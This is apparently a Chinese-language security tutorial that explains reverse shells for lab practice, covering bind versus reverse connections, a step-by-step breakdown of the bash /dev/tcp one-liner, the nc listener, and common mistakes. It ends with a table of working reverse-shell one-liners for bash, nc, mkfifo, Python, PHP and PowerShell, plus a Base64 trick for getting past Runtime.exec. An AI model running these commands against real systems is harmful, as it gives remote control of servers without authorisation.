反弹Shell到底是什么:一条命令为什么能控制一台服务器
复现漏洞最有成就感的瞬间,往往是这一幕:
你在自己电脑上敲了条命令,黑窗口里突然跳出对方服务器的提示符。你输 whoami,它回 root;你输 ls,它把对方的文件列了出来。
这就是大家常说的 GetShell,更具体点,叫「反弹 Shell」。
名字听着玄乎,其实原理一点都不复杂。这一篇,我们把它从头到脚讲明白。
一、先搞懂:Shell 是个什么东西
你可以把 Shell 理解成一个「传令兵」:
你用键盘输入命令,它负责翻译成操作系统听得懂的话、交给系统执行,再把结果带回来显示给你。
其实你早就用过它了——在 Linux 上打开终端,那个等你输入命令、一闪一闪的界面,就是一个 Shell。你输 ls,它列文件;你输 cd,它换目录。
所谓「拿到了 Shell」,说白了就是:你现在能对那台远程机器发号施令了。
问题只剩一个:你和那台机器之间,这条「传令通道」是怎么连上的?
二、正向连不上,那就让它「打回来」
连接有两个方向,这是理解反弹 Shell 的关键。
第一种,叫正向(bind):让目标机器开一扇门,老老实实等着你去敲门、进去。
听起来很自然,但现实中几乎行不通。因为服务器都躲在防火墙、内网后面,规则通常是「里面的人能出去,外面的人别想随便进来」。你在外面使劲敲,门根本够不着。
第二种,叫反弹(reverse):换个思路——既然我进不去,那就让目标机器主动来连我。
防火墙拦的是「外面进来的」,对「里面主动出去的」连接往往管得没那么严。于是这条连接就能成功建立。一旦连上,你照样能发号施令。
打个比方:
你进不去一栋大楼,门口有保安(防火墙)。但你想办法让楼里的人主动给你打了个电话。电话接通后,他在那头听你指挥,你让他看哪个房间,他就去看、再把情况告诉你。
你 = 攻击机;楼里的人 = 目标服务器;这通电话 = 反弹 Shell。
两种方向画成图是这样:
| 对比项 | 正向 Shell(Bind) | 反弹 Shell(Reverse) |
|---|---|---|
| 谁主动发起连接 | 攻击机 → 目标 | 目标 → 攻击机 |
| 目标要做的事 | 在本地开一个监听端口 | 主动连出到攻击机 |
| 主要障碍 | 入站端口常被防火墙/NAT 挡住 | 目标需能出网到攻击机 |
| 典型场景 | 同网段、可控防火墙 | 公网打内网、绝大多数实战 |
三、一条经典命令,逐段拆开看
最常见的一条反弹命令长这样(先别慌,我们一段段拆):
bash -i >& /dev/tcp/你的IP地址/你的端口 0>&1bash -i 启动一个交互式的 Shell(-i = interactive)。就是专门给人用、能一问一答的那种。
/dev/tcp/你的IP/你的端口 这是 Bash 提供的一个特殊写法。你往这个「文件」写东西,本质上就是向「你的 IP + 端口」发起一个网络连接。对方是谁?就是你自己的攻击机。
>& 和 0>&1 这两段是重定向,作用是把 Shell 的输入和输出,全都「接到」刚才那条网络连接上。这样你敲的字能传过去,它执行的结果能传回来。
要看懂重定向,先记住三个标准文件描述符:
| 描述符 | 名字 | 默认指向 |
|---|---|---|
0 | 标准输入 stdin | 键盘 |
1 | 标准输出 stdout | 屏幕 |
2 | 标准错误 stderr | 屏幕 |
>& /dev/tcp/... 是把输出(默认 1)重定向到这条连接;0>&1 是"让输入 0 指向输出 1 现在去的地方",也就是也接到连接上。一来一回,通道就双向打通了。
整句话翻译成人话就是:
「在目标机器上开一个 Shell,让它连到我这台机器的指定端口,并且把它的输入输出全走这条连接。」
四、别忘了:你这边得先「接电话」
既然是让目标主动打给你,那你这边必须先有一台「电话」在等着,否则它打过来没人接。
这台电话,就是在你自己的攻击机上启动的监听,最常用的是 nc(netcat):
nc -lvvp 你的端口-l:监听模式,相当于把电话拿起来等;-v:显示详细信息,有连接进来你能看到;-p后面跟端口号,要和反弹命令里写的端口一模一样。
顺序千万别搞反:先在自己机器开监听,再去触发目标的反弹命令。 就像你得先开机等着,对方的电话才能打通。
一切顺利的话,监听窗口里就会跳出目标机器的 Shell——恭喜,你 GetShell 了。
五、新手最容易踩的几个坑
反弹 Shell 看着简单,新手翻车基本就这几个原因,先记住,能省你好几个小时:
1. 反弹 IP 填错(最高发)
命令里「你的 IP」必须是目标能够访问到的、你这台攻击机的地址。
- 填
127.0.0.1:那是让目标连它自己,你当然啥也收不到; - 在 Docker 靶场里乱填
172.x.x.x:容器网络和你想的不一样; - 靶场和攻击机不在一台机器上,却填了内网地址。
记住一个原则:填你攻击机的真实可达 IP(云服务器就填它的公网 IP)。
2. 端口没监听,或被防火墙拦
一边没开 nc,或者端口被安全组、防火墙挡住,连接照样建立不了。云服务器记得在控制台放行你用的端口。
3. 命令被「程序」执行时,重定向语法失效
这是个进阶大坑:很多漏洞里,命令不是交给 Bash、而是交给类似 Java 的 Runtime.exec() 来执行的。它不认 >&、/dev/tcp 这一套 Bash 语法,结果命令被拆得七零八落,Shell 弹不出来。
这个坑在 Tomcat 那个 GetShell 案例里我完整踩过、也给了绕过办法(Base64 + 花括号),等你学到对应漏洞的 Step3 详解时会看到,这里先有个印象。
六、不同环境,用哪条反弹命令
目标机器上有什么解释器,就用对应的命令。把下面的 IP、PORT 换成你攻击机的地址和监听端口:
| 环境 | 反弹命令(示意) |
|---|---|
| Bash | bash -i >& /dev/tcp/IP/PORT 0>&1 |
| nc(支持 -e) | nc -e /bin/sh IP PORT |
| nc(不支持 -e) | rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc IP PORT >/tmp/f |
| Python | python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("IP",PORT));[os.dup2(s.fileno(),f) for f in (0,1,2)];subprocess.call(["/bin/sh","-i"])' |
| PHP | php -r '$s=fsockopen("IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");' |
| PowerShell(Windows) | powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('IP',PORT);$s=$c.GetStream();..."(完整一行版) |
选用顺序通常是:先看有没有 bash/python 这类好构造的,再退而求其次用 nc/PHP。判断目标有什么,可以在注入点执行 which bash python python3 nc php(有回显时),或从目标是什么应用、什么镜像来推断。
提醒:这些命令在"交给 shell 执行"时最顺。如果是被
Runtime.exec这类不经 shell 的函数执行,特殊符号和/dev/tcp会失效,需要用 Base64 编码 +bash -c {echo,...}的方式还原成 shell 执行——对应 Tomcat 案例 Step3 详解。
写在最后
反弹 Shell 一点魔法都没有,它就三步:
- 在自己机器开监听(接电话);
- 让目标执行反弹命令(主动打给你);
- 连接建立,开始发号施令。
真正难的从来不是这条命令本身,而是怎么在具体的漏洞和环境里,让这条命令成功跑起来——这正是后面一个个实战案例要带你练的东西。